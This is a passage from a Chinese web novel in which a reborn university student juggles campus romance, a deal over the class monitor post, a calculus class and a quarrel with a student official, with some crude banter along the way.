“这——”罗琴有些不敢相信，“那你打算跟我提什么要求？先说好啊，大学期间，本姑娘是不可能谈恋爱的！” “我管你谈不谈恋爱啊……再重复一遍，你在我这里很安全。” 陈让说完，不等罗琴再说什么，便起身跟俏生生站在门口、正四处张望的林静姝挥了挥手。 “喂，门口那个美女，我这边有位置。” 二食堂许多正在偷看林静姝的男生，顿时发出阵阵窃笑。 心想这家伙他妈谁啊，这么普信的？ 你那里有位置，老子这里没有？ 这家伙凭什么觉得、那么高冷的经院之花会坐他边上？ 讲道理，蜀大二食堂也不卖酒的啊。 罗琴也觉得陈让非常搞笑。 先前见他自信满满，还以为这家伙有什么撩妹绝活。 结果——就这？ 聪明的同学肯定也猜得到——不出意外的话，意外就要发生了。 看到陈让后，林静姝鹅蛋脸上的表情，逐渐从高冷切换成灵动。 那对清冷的桃花眼，更是晕开许多愉悦。 虽然学神少女想不明白，陈让为什么会装作不认识她。 但是又有什么关系呢？ 能看到陈让这件事本身，就足够将她的愉悦度拉满了。 说不定——自己最好最好的朋友，打算跟她玩假装不认识的游戏呢。 虽然她觉得这个游戏很无聊，但她还是愿意配合。 作为一个“友爱脑”，尽量迁就自己的“好朋友”，是一件很符合逻辑的事情。 林静姝快步走向陈让，理了理裙摆后，很丝滑的坐到了他身边。 众人绝倒！ 这他妈也行的？ 最诧异的肯定是罗琴。 眼珠子都快蹦出来。 陈让发挥着自己影帝级别的演技，开始跟某位学神少女聊天。 “你叫林静姝？” “是的。” “听说你很高冷？” “分人。” “认识一下吧，我叫陈让，你客观评价一下，我这人怎么样？” “很好吖，”林静姝想想后、又很郑重的补充，“陈让，我觉得你是全世界最好最好的人！” “有眼光——那能认识我，你是不是感到很荣幸？” “有的哦。” “那你是不是该给我笑一个？” “好吖！” 林大美人开始笑。 鹅蛋脸晕开两朵浅浅梨涡，露出的贝齿，白-皙又齐整。 甜的嘛，不谈了，像是从三岁小朋友手里抢过来的、橘子味道的棒棒糖！ “咚、咚、咚！” 某位天仙少女的笑容，仿佛带着声音，鼓点般敲在众人心房。 不知多少纯爱战士，随之应声倒地。 都觉得自己在做梦。 不都说这位经院之花高冷吗，现在看来、怎么像个傻白甜？ 居然这么简单的，就被这个叫陈让的狗比撩到了？ 早知道，尼玛我上我也行啊！ 罗琴肯定也是瞠目结舌。 她觉得这一幕过于魔幻，都不像是现实世界能够发生的。 戏精附体的陈总终于不装了。 他满脸宠溺、捏了捏林静姝粉-嫩嫩的脸颊。 “林呦呦，你是白痴吗，我装作不认识你，还故意调戏你，你都不生气的？” 林静姝摇头。 “陈让，我为什么要生气啊……虽然我觉得‘假装不认识’的游戏很无聊，但是你开心，我也会很开心的。” 于是陈总这几天积攒的血条，再次被清零。 所以吧，“天然呆”果然克“腹黑”。 某位学神少女、总能以出乎意料的方式，撩得他不要不要。 罗琴也不傻，反应了过来。 “你们……早就认识？” “不然呢？”陈让给了她一个白眼，然后跟林静姝说，“她叫罗琴，我们班的。” 林大美人还是很懂礼貌的。 给了罗琴一个“呦呦牌”的标志性假笑。 “你好，我是陈让家的林静姝，很高兴认识你。” 罗琴：“……” 所以，这两人不止认识，还是恋人？ 陈让这家伙，上辈子拯救过银河系吧。 不然林静姝这样的天仙少女，为什么瞅得上他？ 没道理，不科学！ 诧异过后就是尴尬。 刚才陈让主动邀请她吃饭，她还真以为这家伙想追她的。 罗琴颜值还是不错的。 班上没男生追她，只是因为她不爱打扮，甚至故意扮丑。 要打扮起来不会比米莱差多少。 这也是她方才那么“普信”的根源。 她是那种对自己未来有清晰规划的女生，偶像乃是邓文迪，肯定不会把宝贵的大学四年，耗在谈恋爱这种无聊的事情上。 她不觉得自己比米莱差，但是跟林静姝比——算了，还是老实回动物园当类人猿吧。 林静姝坐下后，三人继续吃东西。 罗琴胃口一直很好，也从来不觉得吃东西会是煎熬。 但她现在感觉很煎熬、而且越来越煎熬。 陈让在强行喂她吃狗粮。 跟林静姝共吃一个餐盘就罢了。 时不时还让林静姝喂他东西，吃完了还让林静姝给他擦嘴…… 她一个母胎单身，哪里受得了这个啊？ “这家伙，报复心也太重了吧。” 罗琴觉得陈让是故意的——对自己普信的报复！ 饭吃到一半，她实在承受不住了，啪得一下，放下筷子。 “陈让，你收敛点吧，我承认我刚才普信了——直奔主题吧，为什么约我吃饭？” “另外——咱们刚才那个赌约可不能算啊，你压根就是在给我挖坑！” “不算就不算呗——你是不是真的想当班长？” “陈让，你是不是很喜欢讲废话！” “行，不说废话，聊点你喜欢的——我可以把班长位置让给你。” “真的？”罗琴不敢相信，“那你用龌龊手段打败我，成功当选了班长，图个啥？” 要不知道陈让跟林静姝的亲密关系，她肯定还会继续普信，觉得陈让是想用这种方式吸引她的注意力——电视剧里的霸总、不都喜欢这样玩。 但是刚才都快被滋坏掉了，她肯定不会再有这样的念头。 所以——就完全想不通。 陈让没有给罗琴解惑，而是先表达了自己的不愉悦。 “罗同学，注意你的措辞，什么叫用龌龊手段打败你？” “你有你的过墙梯，我就不能有我的张良计？你觉得我龌龊，我还觉得你肮脏呢，军训时天天给班上同学买水，想收买人心啊？” “再说了，哪怕我不跟班上同学说我有后台，甚至上台后什么话都不说，班长也依然会是我！” “这——” 罗琴很想反驳，但是反驳不了。 客观事实摆在那里——陈让比她更擅长交际，心计和手腕更是完爆她，哪怕在中年人中也算佼佼者。 别说她，哪怕把她偶像邓文迪拎过来，怕也干不过的。 “那你为什么要把班长让给我？” “当班长累啊，我还有更重要的事要忙，不可能把精力消耗在搞班务。” “你忙什么？” “忙更重要的事。” “……” 脸颊抽搐一阵后，罗晋继续发问：“那你还跟我争、刚才直接退选不就完了？” “我也没说现在就让给你啊，明年吧，明年班长这个职务，对我就没有什么加持了。今年就先委派你当个常务副班长吧，我不在时，由你替我行使班长大人的权利。” 罗琴很聪明，完全没被陈总忽悠住，瞬间就反应了过来。 “陈让，你说的倒是好听，还常务副班长，你是只想享受权利，不想履行义务吧，我凭什么给你当牛马？” 陈总的回复就很资本家。 “切，你不干有的是人干！” 罗琴：“……” 陈让这话，属于是话糙理不糙。 大学班长这个职务还是挺香的。 陈让用同样的说辞、跟班上其他几个想当班长的说，那几个同学肯定甘之如饴。 沉吟片刻，罗琴选择了妥协。 “行，我答应你。” 于是PY交易达成。 陈让把自己从繁重班务中解脱了出来。 罗琴却也不亏。 大二就能接替陈让当班长，不影响她的人生规划。 吃完饭，临别时，罗琴没有按捺住，问了林静姝一句。 “林同学，我还是没想明白，你为什么会跟陈让……” “罗同学，我刚才不是说了么……陈让是全世界最好最好的人！” 罗琴直接笑出了声儿。 “林同学，你有点幽默哦！” 林大美人顿时皱眉。 突然就很讨厌这个人了。 “罗同学，我想收回刚才跟你说那句话。” “林同学，你终于也认识到陈让不是什么好人了？” “不是这一句。” “那是哪一句？” “很高兴认识你。” “……” 看着脸颊剧烈抽搐的罗琴，陈总忍不住笑出了声。 还得是“林教头”！ 这不，一记直拳就给罗琴干懵逼了。 第81章 偶遇 第八十一章 偶遇 吃完饭后，看着林静姝满含期待的眼神，陈让知道她还不想回宿舍。 讲道理，她只不过想跟自己的“好朋友”多待一会儿，谈一下“友爱”，能有什么错？ 满足她！ 必须满足她！ 于是两人大手牵小手，逛起了校园。 中间的过程，陈总很开心，学神少女很愉悦。 唯一受到伤害的大概就是蚂蚁——怎么又成了这两人计划的一环？ 明天就会开课，还有万恶的“早八”，陈让没敢逛太久。 九点半左右，他把林静姝送到宿舍楼下，跟她挥手告别。 路灯光线下，学神少女眉目如画，桃花眼中写满了对某人的依赖，显然还不想这么快就回宿舍睡觉。 相信聪明的同学已经看出来了——某位大美人的“友爱脑”，最近是愈发严重了。 这里面是有底层逻辑的。 开学这半个月，陈让其实挺忙的。 又要应付万恶的军训，又要忙着跟杨艺捣鼓“众众网”，还得抽空看德州那家电玩城的财务报表、处理一些必须由他来定夺的事务。 都恨不得把自己分成几瓣用。 人的精力毕竟有限。 无形之中，倒是有些冷落了林静姝。 现在的林静姝，相较于刚跟陈让认识那阵儿，已经开朗了许多，正在逐渐被治愈。 奈何“冰冻三尺、非一日之寒”，她终究还是个重度社恐。 在陈让帮助下勉强融入了宿舍，却不可能一下子就变得擅长交际。 许多话她还是只愿意跟陈让说，而不是跟宿舍姐妹讲。 内心深处，依旧把陈让当成她在蜀大这个陌生环境唯一的依靠。 看着眼中满是依依不舍的学神少女，陈让又有了养女儿的错觉。 眼中带着宠溺，揉了揉她的脑袋。 “安啦，快回宿舍睡觉吧，明天一大早还有课呢，放心，我只要能抽得出时间，一定带你玩。” “陈让，拉钩，不可以骗你的好朋友哦。” 林静姝伸出自己青葱如玉般的食指。 陈总只得依她。 拉钩后顺便用大拇指盖了个章。 一夜无话。 第二天是个风和日丽的好天气。 蓝蓝的天上飘着几朵白白的云，绿绿的叶子点缀几朵红红的花，就挺适合小学生们写作文。 蜀州大学零九届新生们，迎来了开课日。 金融专业这边，上午排了四节课，头两节“思修”，后两节“高数”。 前者没什么难度，考试都开卷，只要不旷课，考试时把试卷写满，都能顺利拿到学分。 《高数》就是真的难。 这里面的底层逻辑——金融专业后面会开设的专业课，基本都跟高等数学强关联。 也就是说，高数是给后面专业课打基础的，强度肯定要拉满。 教材用的也不是同济版，而是蜀大数学系几个教授自己编纂的。 通常情况，正高级教授不会给本科生授课。 但给金融一班上高数的、却是位正高级教授。 由此可见，作为蜀大王牌，金融专业的确很受重视。 高数课开始不久，陈总就听到许多同学在嚷嚷听不懂，抱怨老师讲太快。 讲台上那位头发灰白的老教授，却丝毫没有减速，反而只用了一个课时，就讲完了“微积分”这个大章节。 这里体现出了高中和大学的差异。 高中时，老师们恨不得把知识点都揉碎嚼烂，再喂给学生。 大学却是填鸭式授课。 一节课下来，知识点起码是高中的五倍。 所以需要学生们下课后，充分发挥“主观能动性”，自己去看书消化。 有些高中时代的学霸，适应不了这样的转变，大学成绩会飞速下滑。 然后就是“挂科、摆烂、挂更多科、摆更多烂”的恶性循环。 班上好多同学听不懂后选择了摸鱼。 譬如坐陈让身边的王大少，干脆掏出手机玩起了贪吃蛇。 讲台上老教授看着，却根本不管，自己讲自己的。 这也是大学跟高中的不同之处。 革命靠自觉。 任课老师一般不会管学生们上课出小差。 所以上大学后成绩依旧很好的，一定是那种自律性很强的学生。 这或许也是大学替社会筛选人才的必要步骤吧。 无论毕业后从事那条赛道，要想取得一定成就，自律都是必要条件。 陈让听的很认真。 学生的主线毕竟是学习。 维系好学霸人设，领导们也会高看他一眼，方便他薅学校的羊毛。 所以在真正搞出名堂之前，陈总都不打算在学习上摸鱼。 “书中自有黄金屋”，这话任何时代都适用。 他高考成绩要没有那么好，暑假时蜀大的常务副goat孙柯，又凭什么专门请他吃饭？ 光会舔领导有毛用啊，又有能力又会舔才是正解！ 听着听着，陈总愈发觉得台上那位叫刘克的老教授有水平。 他把教科书翻到扉页，暗道一句“卧槽”。 难怪这么牛逼。 人家刘老教授、压根就是这套教科书的主编。 蜀大在三十来所九八五里只能排在中游，却也不缺底蕴。 第一节课，刘老教授把微积分部分笼统讲了一遍。 第二节课铃声刚打响，他在黑板上写了一道题。 然后让班上同学主动请缨，上台试一试。 没人举手。 这题难度很高。 需要把微积分吃透，才可能做得出来。 讲道理，一节课的时间哪够？ 除了陈让这个二周目玩家，所有同学都表示在听天书好吧。 陈总倒是有这个实力，看了一会儿后，也有了解题思路。 但是他也没有举手。 作为一个成熟的狗资本家，陈总信奉的是无利不起早。 “人前显圣”什么的，又没有金币可以爆，谁爱去谁去！ 刘老教授微微皱眉—— 不是说金融系有个叫陈让的学生，高考是省内唯一满分吗？ 其实他这道题，就是专门出给陈让做的——想试试这个学生的斤两。 如果能做出来，他想劝陈让转到数院去，搏一搏CMC（全国大学生数学竞赛）。 要能拿到金牌，甚至更进一步，代表国家队参加IMC（国际数学竞赛），他脸上也有光。 第一天上课，他也不知道谁是陈让啊，直接点名又显得意图太明显…… 刘老教授沉吟片刻后，有了主意。 “真的没有同学想试试？能做出来的话，期末考试平时分部分，我直接给满分！” 大学的期末考试，分为两部分——平时成绩和考试成绩。 通常平时成绩占比百分之三十，有的任课老师甚至会将比例调整到百分之四十，以此拿捏那些仗着有点小聪明就不来上课的学生。 “老刘你也是，早说啊！” 陈总果断举手。 过阵子他彻底忙起来后，可不敢保证每节高数课都必到。 上去做道题，就能直接拿到所有平时分，为什么不去？ “这位同学，叫什么名字？” “陈让。” “有思路了？” “一丢丢……” “上来试试。” 刘老教授露出一个鼓励式笑容。 陈让上台后、拿起粉笔开做。 五分钟后，顺利得出正确答案。 刘老教授忍不住比起了大拇指： “陈让同学，果然厉害啊，不愧是这一届高考，咱们蜀省唯一的数学满分。” 讲台下炸开了锅。 这道题这么难，班上同学别说做出来，甚至题干都看不懂，班长却能这么快解答…… 而且没听刘教授说么，班长高考数学乃是省内唯一满分！ 服了。 真的服了。 班长是真牛逼。 全方位无死角的强！ 许多仰慕目光中，陈让回到座位，仿佛又听到了“春庭雪”的BGM。 “人前显圣”什么的，俗归俗，爽却也是真爽。 “六子，你他妈高考数学居然是满分？你五哥我连一百二都没考到啊，谁允许你这么牛逼的？” “班长，你也太牛了吧，我高中可是搞过数学竞赛的，数学也才勉强上130……” “班长，你帅的冒泡泡，人家好想给你嘤一个……” “嘤嘤，班长我给你嘤两个，回头再给你生个猴子！” 陈让哭笑不得。 刘老教授也是，又没私底下给你塞红包，怎么赶着趟给你陈总当捧哏？ 陈总多低调的人，真没想“人前显圣”的。 下课后，刘老教授单独叫住了陈让，跟他说想让他转到数院去，搏一搏CMC。 刘老教授不停给陈让画着大饼，说以他的天赋，很有可能拿到CMC金牌的，甚至有概率入选国家队、搏一搏IMC，为国争光。 陈让礼貌却又坚定的拒了。 有自知之明。 他的上限，也就能拿个CMC奖牌，入选国家队绝对没戏。 转去数院搞竞赛？ 给他个学霸系统还差不多！ 问题是木有。 “系统，叮一下！” “超蓝，滚出来，给哥加点！” “赞美愚者！” “老爷爷，老爷爷在不在啊？” 这段时间，陈总把自己知道的所有神秘切口都对完了，但是毫无卵用。 别说系统，这个年代最流行的“老爷爷”都没一个。 刘老教授见陈让咬死了不答应，深表遗憾，却也没再强求。 最后拍着陈让肩膀跟他说，让他回去再考虑考虑，数院的大门随时为他敞开。 高数课上完后，今天就没课了。 学院排课时还是有点人性的，知道学生们第一天上课，需要适应，第一天强度不大。 出了教室后，陈让给林静姝发了条短信，说他有重要事情要办，不能陪她吃午饭了，接着便直奔东大门坐校车的地方——他打算去一趟夏灵珊所在的、位于双流区的江安校区。 为什么江安校区，肯定不是去找夏灵珊——陈总脑壳里又没得乒乓。 昨晚他逛学校的贴吧，发现蜀大文体部要招干事，地点不在望江校区，而是在江安校区。 陈总打算去试试，看看能不能在校文体部混个一官半职。 “众众网”内测版本马上就要上线，急需内容填充。 陈总觉得光靠用户们发挥主观能动性还是不靠谱，得主动出击。 蜀大有好几个文学社，都校文体部管着的，他要能在校文体部混个一官半职，不就借助职务之便、薅那些文艺青年的羊毛啦。 具体来说，就是以文体部的名义搞个征文，以白菜价收一批能够拉动流量的小故事。 这套操作模式，类似后世的“知乎盐选”。 可以预见—— 这条时间线，有“众众网”的横空出世，“知乎”、“小红书”什么的，肯定胎死腹中。 但是陈总心中毫无负罪感。 重生者搞事业不就酱紫的？ 摸着别人过河，上岸后再把这条河给封死。 要不说“贼老天”—— 长达半个月的军训，陈总每天都盼着下雨，结果每天都是艳阳高照。 今天上午还是个风清日朗的大晴天，中午却开始飘雨，起先绵绵，很快密密，最后竟有瓢泼之势。 “老子也没带伞啊……” 陈让躲在一颗大树下，正盘算着去隔壁小超市买把伞，便见一把小花伞迤逦而来。 打伞的是个姑娘，身材高挑，颜容姣好，清新又明媚。 姑娘看到陈让后，明显有些欢喜，很快将他遮住——竟是多日不见的赵兰蕤。 赵大美女先跟陈让打的招呼，浅浅一笑，晕开千般风情。 “陈让，这么巧的？” “是有点巧啊，赵同学，你也要去江安校区？” “也就是说，你也要去？” “对啊，我去参加校文体部纳新……打算给校文体部一个机会，请我当部长，领导他们做大做强，再创辉煌！” “哈哈，富贵同学，你还是这么幽默啊……我还以为你去找夏灵珊呐。” 陈让翻了个白眼：“我脑抽啊……” 赵兰蕤显然对某人这个回答非常满意，笑得愈发明媚，仿佛一朵雨后的、完全盛放的栀子花。 她主动解释了自己去江安校区的缘由。 “陈让，其实我也是去参加校文体部纳新的，就是不知道能不能成……据说校文体部原则上是不招大一新生的，都是要先进学院的，大二大三时才能进校级……” 陈让笑了笑，自信满满的说：“规矩立在那里，不就是用来打破的，你这么有才，我这么好看，妥妥的女才郎貌，没理由进不去的！” “鹅鹅鹅——” 赵兰蕤直接给某人逗得发出鹅叫。 她满脸揶揄的说：“陈同学，我可不敢自居有才，但你是真的好看，不说倾国倾城，那也是貌美如花！” 陈总脸皮多厚啊，挑了挑眉：“好听，爱听。” 此时校车到了，两人一前一后上了车，并排而坐，继续聊天。 陈让很快发现，赵兰蕤情商非常的高，跟她聊天，永远不愁找不到话题。 抛过去的梗，大部分都能接住，偶尔接不住时、也会露出“我虽然听不懂、但是人家觉得你好厉害”的表情。 就很舒服。 而且她懂得真不少。 甚至能跟她聊体育。 NBA有哪些球星，她能如数家珍。 五大联赛各个豪门主打什么战术，也能分析的头头是道。 她就是那种能当哥们儿处的宝藏女孩。 第82章 滋倒一片 第八十二章 滋倒一片 校车上，两人聊了一阵后，赵兰蕤突然有些幽怨的看向某人。 “陈让，你有没有觉得你有点高冷？” 某人揣着明白装糊涂，反问她何出此言。 “军训半个月，我不止一次在QQ上约你吃饭吧，结果你每次都搪塞我，要不就是忙重要的事，要么就是有重要的事忙……你是不是讨厌我？” “那怎么可能……” 陈让的确在躲着赵兰蕤，却不是因为讨厌，而是防患于未然。 后世抖音很流行一句话，“好女孩要珍惜，坏女孩别浪费”，陈总觉得这话就挺几把扯犊子。 坏女孩要不要浪费暂且不论，世上好女孩那么多，未必个个都去珍惜啊。 这种话，不过是渣男给自己的渣男行径找借口。 陈总上辈子被夏灵珊PUA到爱无能，太懂个中滋味。 承蒙天眷，有了再来一次的机会。 他不知道自己还能不能“热烈的爱”，至少还能“真诚的喜欢”吧。 “真诚”的充分条件有很多，必要条件却只有一个，那就是只能喜欢一个。 赵兰蕤的准备工作，显然做得比陈让细。 下了校车后，她很快带着陈让，找到了校文体部纳新的活动教室。 此时面试还没开始，几个男学长正忙着布置宣传板。 为什么都男的—— 底层逻辑很浅显，社团纳新，可是这群单身狗找女朋友的绝佳机会。 相较同级女生和学姐，显然学妹更容易下手。 赵兰蕤刚进教室，别有用心的狗学长们，眼睛便都开始发亮。 立马凑了过来嘘寒问暖。 狗学长们的热情仅限于对赵兰蕤。 陈让则被完全忽略。 于是陈总这样的未来大帝，也喜提了任志超同学的待遇，“男的就是男的”。 赵兰蕤礼貌回应。 几个学长得寸进尺，非要加QQ。 赵兰蕤婉拒。 狗学长们锲而不舍，活似狗皮膏药。 陈总皱眉，站出来替赵兰蕤解围。 “学长们喜欢加QQ啊，加我的呗。” 边说掏出了自己的诺基亚S5300，对准那几个狗学长。 陈让一米八三大高个，暑假又健身房练了三个月，直接就把这几个狗学长震慑住了。 “什么玩意儿，大一找不到对象，大二大三就觉得自己又行了？” 狗学长们被陈总怼的一愣一愣。 却也有不服气的—— 有个梳着风骚大背头的家伙，狠狠瞪了陈让一眼。 陈总跟他对视。 这家伙很快败阵。 陈总上辈子银行卡躺着冷冰冰十几个亿、养出来的气势，可不是一个二十出头的小年轻能干很。 肯定是为了面子，大背后最后跟陈让撂了句狠话。 “小子，我记住你了。” 陈总懒得回应。 讲道理嘛，他这样的未来大帝，天日之表，龙凤之姿，记住他的人多了去，眼前这个大背头算哪根蒜苗？ 有他这个护花使者，接下来倒也没有哪个不开眼的狗学长、还敢再来骚扰赵兰蕤。 又过十来分钟，纳新正式开始。 搞得有模有样。 宣传板下摆了桌子，坐着一女一男。 女的叫郑玲，校文体部的部长。 男的叫周文清，三个副部长之一。 陈总表情有些der。 周文清就是刚才跟他起冲突、放狠话说“小子、我记住你了”的大背头。 “这是先帝创业未半、而中道崩殂的节奏啊。” 陈总心想自己进校文体部，领导大家“做大做强、再创辉煌”的春秋大梦，怕是要破灭了。 周文清这个逼，肯定会各种找理由把他刷下去的。 事实也是如此—— 轮到陈总后，他开场白还没说完，周文斌就冷着脸，强硬将他打断。 “这位同学，你就不用介绍了，我觉得你不适合我们文体部，出去吧。” “理由？” “我的话就是理由！” “……” 你-妈-逼的，演都不愿意演一下的？ 真不怕将来富贵大帝跨过岁月长河斩你啊？ 还是这家伙以为他真是个副部级？ 郑玲颇为诧异。 陈总卖相不错，她其实有意纳入麾下。 但是周文清拒绝的这么干脆，她也不好说什么。 两人抬头不见低头见，周文清还是最有可能当选下届部长的。 她不至于为陈让一个陌生人，跟他闹得不愉快。 教室中几十个来参加面试的学生，此时看着陈让的目光，都带些同情。 同时也对周文清多了些敬畏。 周文清文体部副部长的名头，本质上啥也不是，但是足够震慑这群麻瓜。 这就是权利最让人着迷的地方。 能给人强行划分阶级，让少部分凌驾于大部分。 不然又怎么会有那么多人，削尖了脑袋都想考公？ 陈总当然没有被震慑住。 他好气又好笑。 周文清满脸的颐指气使，指着门口位置。 “同学，请你出去，不要影响接下来的纳新。” “陈让，我们走。” 赵兰蕤拉了拉某人衣角，决定跟他一起离开。 她方才倒是通过了面试。 但是陈让因为她跟周文清卯上的，所以她也不打算进校文体部了。 陈让没走，他看着周文清：“周副部长，临走之前，我想送你句话。” 周文清装作很有涵养的样子：“什么话，你说吧，我洗耳恭听。” 陈总来了个零帧起手：“你就是条狗几把。” “你——” 周文清肯定没料到这个。 好歹也是九八五大学生，竟能如此粗鄙？ 他气得脸色铁青，身体发抖。 陈总可没打算跟他玩你骂一句、我骂一句的回合制游戏，他继续输出。 “你什么你，瞧你那大脑连着直肠的脑瘫样，猴子进化成-人类时，肯定把你给忘了吧？” “那我想明白你刚才为什么那么嚣张了，感情是有动物保护协会给你撑腰啊！” “但是我还是想说，下次我拿你当人的时候，麻烦你装的像一点！” “知道现在你在我眼中什么模样么——触景生情，你占两字，莎士比亚，一半像你！” 陈总这一套“连续打击投”，几人扛得住啊，反正周副部长扛不住一点。 这么多同学看着，他要不怼回去，颜面何存？ 但是又怼不过。 这小子骂人跟机关枪似的，一句比一句损，还尼玛不带重样。 周文清勃然大怒，腾得站起来，面红耳赤的同时，还捏紧了拳头，连骨节都清晰可见。 “哟，周副部长，您这是干嘛呢，校规校纪知道吗，打人什么后果晓得不？来来来，往这儿KAO——我保证不还手。” 陈让表情贱兮兮的，指着自己的脑袋。 周文清：“……” 他喘着粗气，愈发的愤怒，却还是松开了拳头。 蜀大堂堂九八五，治校肯定严谨，敢打架？甭管是谁，保底都是个留校察看，甚至直接开除。 这么大的代价，他可付不起。 于是陈总耸了耸肩：“早知道你不是个好人，没想到你连坏人都不是。脑子是个好东西，希望你也有哦。” 说完扬长而去。 陈总骂人的过程，教室里几十个参加纳新的同学，也不知道在心里暗道了多少句“牛逼”。 心想这个叫陈让的大一新生，绝对是个虎逼啊，瞧把周副部长气得，脸黑得都能滴水。 周文清的确很生气。 也决定了一定要报复，这事儿他妈不算完！ 作为文体部副部长，周文清人脉挺广。 譬如跟学校篮球队、足球队那些个体育生，关系就非常好，称兄道弟的。 他决定找几个体育生，找机会教训教训陈让，找回今天失掉的面子。 倒不是真要打陈让一顿。 周文清没傻到这个份儿上。 但是可以吓唬。 周副部长还不信了，找几个牛高马大的体育生，将这小子围住，他敢不怂？ 怕不得跪地求饶！ 出了活动教室，赵兰蕤忍不住笑，说陈让你也太会骂人了吧，刚才那个周副部长，我看他都气得要吐血了。 陈总很有范儿的回了句“基操”——好歹“祖安区”浪-荡过几年的，跟你闹呢。 赵兰蕤沉吟片刻后，开始安慰陈让，叫他别气了，跟周文清这种人，犯不着。 陈总笑了笑，说我气个der啊，虽然进不了校文体部，是有些影响我的规划，但是没有planA，还有planB，不过就是多些花钱。不早跟你说过么，我这人唯一的优点，大概就是有几个臭钱。 赵兰蕤有些好奇了。 “陈让，刚都没问你呢，你为什么想加入校文体部？” 陈总便把自己正在弄网站的事儿，囫囵大概的跟赵兰蕤讲了一遍。 赵兰蕤听完，满眼都是小星星：“你这么厉害的——才大一就敢搞网站？听你刚才描述的——感觉还挺靠谱。” 陈让笑了笑：“那必须的，伟大领袖说得好，‘自信人生二百年，会当击水三千里’，我陈富贵想做的事儿，就没有不成的！” 赵兰蕤乐得不行：“鹅鹅鹅，陈让，你好不要脸啊，但是……也不知道为什么，我觉得你不要脸的时候，特别有魅力！” 陈总：“……” 现在基本可以确定，这姑娘的确对他有着莫名其妙的滤镜——虽然他想不明白这是为什么。 赵兰蕤笑了一阵后，表情变得有些严肃。 “哦，对了，你小心点啊，我看刚才那个鸟人的眼神，说不定会找机会报复你的。” 陈总不以为意。 “未必他还敢叫人KAO我一顿啊？好歹九八五大学生，他应该不会蠢到这种地步。” “倒也是。” 赵兰蕤点了点头，然后跟陈让说，她还要去找个闺蜜叙叙旧，问他要不要一起。 陈总摇摇头，说这个就算了，我还是第一次来江安校区这边，自己随便瞎逛逛，你跟你闺蜜聊完后给我打电话，咱们再一道回望江校区。 他跟赵兰蕤一起去找她闺蜜，很容易被误解她的男朋友，所以还是避嫌得好。 为什么不直接回本校区——陈总想借此机会、熟悉一下江安校区。 “众众网”上线后，肯定会展开地推。 江安校区这边，他会经常跑的。 “陈让，我很快的，半小时内搞定，你一定要等我啊。” “安啦，去吧。” 陈让笑着挥手。 赵兰蕤走后，陈总逛起了江安校区。 江安校区是新建的，看着恢弘壮美，其实不能细看，真的没什么人文底蕴。 陈总逛得走马观花，以熟悉地形为主，走着走着，听到有人叫他。 “男神？” 回头一看，陈让十分诧异——居然是高中同学肖茜。 没记错的话，肖茜是蓉城师范的，怎么会在蜀大江安校区？ “男神，你不是望江校区的么，怎么会在这儿？” 肖茜先表达了自己的疑惑。 “过来办点事儿——虽然没办成。” “我还以为你是来找灵珊的……” “躲她还来不及，我脑抽找她……话说茜美女，你为什么会在这里？” “男神，你没看班级群么——好吧，你早就把班级群屏蔽了——李文韬早就在班级群里号召，让咱们高中班上在川内上大学的同学，军训结束后就到蜀大来玩，感受一下西南第一九八五的人文气息……然后就选在了今天下午，刚好很多人都没课。” “那你们为什么不去老校区……江安这边，有个der的人文气息啊。” “校区是李文韬选的，他肯定是醉翁之意不在酒，趁这个机会过来找灵珊，大家都看破不说破……” “这样啊，那我得赶紧撤——” 陈总顾不上跟肖茜寒暄，准备脚底抹油开溜。 晚了——回头就发现身后站着夏灵珊。 不止她。 还有李文韬、吴强、牟佳佳、王丽君等一大帮高中同学。 “陈让，虽然你不在江安校区读，但这里总是蜀大吧，也算你的主场，咱们这么多高中同学都在，你总不能脚底抹油开溜吧？” 说话的是牟佳佳。 她想把陈总留住，自然是为了她的好姐妹。 陈让沉吟片刻，觉得自己就这么走了，的确说不过去。 于是给了牟佳佳一个白眼。 “大侄女，谁跟你说我要开溜的，大半个月没见，我老想大家了，必须得留下来叙叙旧。” 然后环视众人。 “大家伙儿是准备去吃午饭？” 吴强接茬儿：“让哥，我们准备去吃火锅。” 陈让笑了笑：“可以啊，我请大家吧。” 十来分钟后，众同学到了校门口一家火锅店。 这家火锅店名叫“巴蜀人家”，味道还挺好的。 陈总午饭都没吃就往江安校区跑，早饿得前胸贴肚皮，可以开吃后，他就闷头开炫。 其他同学倒是都在兴致勃勃的聊天，分享开学大半个月的见闻。 “妈蛋，我后悔了，早知道蓉城理工男女比例那么悬殊，杀了我，我也不读蓉城理工的，我们班五十来号人啊，才五个女生，而且还一个比一个长得丑……” 说这话的是吴强，小表情委屈的，像是受了气的小媳妇儿。 一个叫李华的男生接过话茬儿，说自己班上情况跟吴强班上差不多，甚至更惨，因为他们班才两个女生，斗地主都凑不了一桌——这家伙西南石油大学油储专业的。 这哥俩显然找到了共同语言，同病相怜一阵后，吴强看向正跟一盘毛肚较劲儿的陈让。 “让哥，你们金融专业，想必女生很多吧？” 陈让点点头，说男女比例一半一半吧，就跟咱高中班上差不多。 吴强眼巴巴追问：“有美女没？” 陈让耸肩：“强子，这我就不知道了哦，你让哥这人……脸盲。” 肖茜插了句嘴：“男神，你这么闪耀的，进了大学，你们专业肯定也有很多女生追你的吧！” 陈让还没说话，李文韬就发言了，“厅里厅气”的敲了敲桌子。 “茜美女，大学跟高中可不一样啊，尤其我们蜀大的女生，眼界高着呢，陈让高中时是很优秀，但是进了大学，一切都要从零开始，才开学半个月，还基本都在军训，他又能闪耀到哪儿去，怎么可能有女生追他？” 李大班长这番话，得到许多附和。 “这倒也是……” “就拿我们班来说，现在男女生基本都不说话的，好像有仇一样……” “哎，还是高中好啊，大家知根知底，哪怕漂亮如灵珊，也会跟我说两句，哪像大学的女生，明明长得也就那样，结果一个比一个高冷，好像个个都是女神……” 此时吴强问了李文韬一嘴儿。 “班长，你们法学院女生应该也挺多的吧，有没有大美女？” 李文韬顿时来劲儿了。 “强子，那还真有个校花级别的！姓赵，叫赵兰蕤，我这么跟你说吧，哪怕跟灵珊比——” 夏灵珊冷不丁剜了他一眼。 这货立马改了说辞。 “咳，比灵珊还是差一点的，但是差不多已经是我们望江校区的颜值天花板了，反正我在望江校区是没见过比她还漂亮的。” 夏灵珊瞄了陈让一下，见他没什么反应后，她怼了李文韬一句。 “李文韬，你觉得那个赵什么的漂亮，那你就去追啊，在这里说来说去的，有什么意义？” 李文韬尴尬一笑，难得没有装尬逼，而是实事求是了一盘。 “赵美女那么高冷的，我怎么可能追得到。别说我了，陈让上去估计也没戏。就军训这半个月，我们法学院那几个高富帅都试过了，全都铩羽而归，甚至QQ都没加上。” 陈让白了李文韬一眼。 